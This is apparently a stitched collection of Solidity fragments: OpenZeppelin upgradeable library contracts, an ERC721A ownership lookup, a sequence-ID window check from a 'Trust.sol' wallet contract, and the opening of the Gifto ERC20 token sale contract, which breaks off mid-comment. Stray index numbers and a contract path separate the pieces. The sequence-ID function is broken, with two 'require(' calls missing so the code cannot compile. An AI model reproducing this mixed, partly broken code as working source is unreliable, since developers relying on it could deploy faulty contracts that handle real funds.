will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol) pragma solidity ^0.8.0; import "./ECDSAUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712Upgradeable is Initializable { /* solhint-disable var-name-mixedcase */ bytes32 private _HASHED_NAME; bytes32 private _HASHED_VERSION; bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ function __EIP712_init(string memory name, string memory version) internal onlyInitializing { __EIP712_init_unchained(name, version); } function __EIP712_init_unchained(string memory name, string memory version) internal onlyInitializing { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash()); } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSAUpgradeable.toTypedDataHash(_domainSeparatorV4(), structHash); } /** * @dev The hash of the name parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712NameHash() internal virtual view returns (bytes32) { return _HASHED_NAME; } /** * @dev The hash of the version parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712VersionHash() internal virtual view returns (bytes32) { return _HASHED_VERSION; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../StringsUpgradeable.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSAUpgradeable { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", StringsUpgradeable.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } }
Gas spent here starts off proportional to the maximum mint batch size. It gradually moves to O(1) as tokens get transferred around in the collection over time./ Invariant: There will always be an ownership that has an address and is not burned before an ownership that does not have an address and is not burned. Hence, curr will not underflow.
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); }
539,639
./full_match/4/0x070F739b4b797D93D2abAaFd59731A37658D9752/sources/contracts/Trust.sol
Verify that the `sequenceId` has not been used before and inserts it. Throws if the `sequenceId` was not accepted. Note we collect a window of up to 10 recent sequence ids, and allow any `sequenceId` that is not in the window and greater than the minimum element in the window./ Keep a pointer to the lowest value element in the window fetch recentSequenceIds into memory for function context to avoid unnecessary sloads
function _tryInsertSequenceId(uint256 sequenceId) internal onlySigner(_msgSender()) { uint256 lowestValueIndex = 0; uint256[SEQUENCE_ID_WINDOW_SIZE] memory _recentSequenceIds = recentSequenceIds; for (uint256 i = 0; i < SEQUENCE_ID_WINDOW_SIZE; i++) { require( _recentSequenceIds[i] != sequenceId, "Sequence ID already used" ); if (_recentSequenceIds[i] < _recentSequenceIds[lowestValueIndex]) { lowestValueIndex = i; } } sequenceId > _recentSequenceIds[lowestValueIndex], "Sequence ID below window" ); sequenceId <= (_recentSequenceIds[lowestValueIndex] + MAX_SEQUENCE_ID_INCREASE), "Sequence ID above maximum" ); recentSequenceIds[lowestValueIndex] = sequenceId; }
12,515,745
//Address: 0xc5bbae50781be1669306b9e001eff57a2957b09d //Contract name: Gifto //Balance: 0 Ether //Verification Date: 12/14/2017 //Transacion Count: 188860 // CODE STARTS HERE pragma solidity ^0.4.18; // ---------------------------------------------------------------------------------------------- // Gifto Token by Gifto Limited. // An ERC20 standard // // author: Gifto Team // Contact: [email protected] contract ERC20Interface { // Get the total token supply function totalSupply() public constant returns (uint256 _totalSupply); // Get the account balance of another account with address _owner function balanceOf(address _owner) public constant returns (uint256 balance); // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public returns (bool success); // transfer _value amount of token approved by address _from function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); // approve an address with _value amount of tokens function approve(address _spender, uint256 _value) public returns (bool success); // get remaining token approved by _owner to _spender function allowance(address _owner, address _spender) public constant returns (uint256 remaining); // Triggered when tokens are transferred. event Transfer(address indexed _from, address indexed _to, uint256 _value); // Triggered whenever approve(address _spender, uint256 _value) is called. event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Gifto is ERC20Interface { uint256 public constant decimals = 5; string public constant symbol = "GTO"; string public constant name = "Gifto"; bool public _selling = true;//initial selling uint256 public _totalSupply = 10 ** 14; // total supply is 10^14 unit, equivalent to 10^9 Gifto uint256 public _originalBuyPrice = 43 * 10**7; // original buy 1ETH = 4300 Gifto = 43 * 10**7 unit // Owner of this contract address public owner; // Balances Gifto for each account mapping(address => uint256) private balances; // Owner of account approves the transfer of an amount to another account mapping(address => mapping (address => uint256)) private allowed; // List of approved investors mapping(address => bool) private approvedInvestorList; // deposit mapping(address => uint256) private deposit; // icoPercent uint256 public _icoPercent = 10; // _icoSupply is the avalable unit. Initially, it is _totalSupply uint256 public _icoSupply = _totalSupply * _icoPercent / 100; // minimum buy 0.3 ETH uint256 public _minimumBuy = 3 * 10 ** 17; // maximum buy 25 ETH uint256 public _maximumBuy = 25 * 10 ** 18; // totalTokenSold uint256 public totalTokenSold = 0; // tradable bool public tradable = false; /** * Functions with this modifier can only be executed by the owner */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * Functions with this modifier check on sale status * Only allow sale if _selling is on */ modifier onSale() { require(_selling); _; } /** * Functions with this modifier check the validity of address is investor */ modifier validInvestor() { require(approvedInvestorList[msg.sender]); _; } /** * Functions with this modifier check the validity of msg value * value must greater than equal minimumBuyPrice * total deposit must less than equal maximumBuyPrice */ modifier validValue(){ // require value >= _minimumBuy AND total deposit of msg.sender <= maximumBuyPrice require ( (msg.value >= _minimumBuy) && ( (deposit[msg.sender] + msg.value) <= _maximumBuy) ); _; } /** * */ modifier isTradable(){ require(tradable == true || msg.sender == owner); _; } /// @dev Fallback function allows to buy ether. function() public payable { buyGifto(); } /// @dev buy function allows to buy ether. for using optional data function buyGifto() public payable onSale validValue validInvestor { uint256 requestedUnits = (msg.value * _originalBuyPrice) / 10**18; require(balances[owner] >= requestedUnits); // prepare transfer data balances[owner] -= requestedUnits; balances[msg.sender] += requestedUnits; // increase total deposit amount deposit[msg.sender] += msg.value; // check total and auto turnOffSale totalTokenSold += requestedUnits; if (totalTokenSold >= _icoSupply){ _selling = false; } // submit transfer Transfer(owner, msg.sender, requestedUnits); owner.transfer(msg.value); } /// @dev Constructor function Gifto() public { owner = msg.sender; setBuyPrice(_originalBuyPrice); balances[owner] = _totalSupply; Transfer(0x0, owner, _totalSupply); } /// @dev Gets totalSupply /// @return Total supply function totalSupply() public constant returns (uint256) { return _totalSupply; } /// @dev Enables sale function turnOnSale() onlyOwner public { _selling = true; } /// @dev Disables sale function turnOffSale() onlyOwner public { _selling = false; } function turnOnTradable() public onlyOwner{ tradable = true; } /// @dev set new icoPercent /// @param newIcoPercent new value of icoPercent function setIcoPercent(uint256 newIcoPercent) public onlyOwner { _icoPercent = newIcoPercent; _icoSupply = _totalSupply * _icoPercent / 100; } /// @dev set new _maximumBuy /// @param newMaximumBuy new value of _maximumBuy function setMaximumBuy(uint256 newMaximumBuy) public onlyOwner { _maximumBuy = newMaximumBuy; } /// @dev Updates buy price (owner ONLY) /// @param newBuyPrice New buy price (in unit) function setBuyPrice(uint256 newBuyPrice) onlyOwner public { require(newBuyPrice>0); _originalBuyPrice = newBuyPrice; // 3000 Gifto = 3000 00000 unit // control _maximumBuy_USD = 10,000 USD, Gifto price is 0.1USD // maximumBuy_Gifto = 100,000 Gifto = 100,000,00000 unit // 3000 Gifto = 1ETH => maximumETH = 100,000,00000 / _originalBuyPrice // 100,000,00000/3000 0000 ~ 33ETH => change to 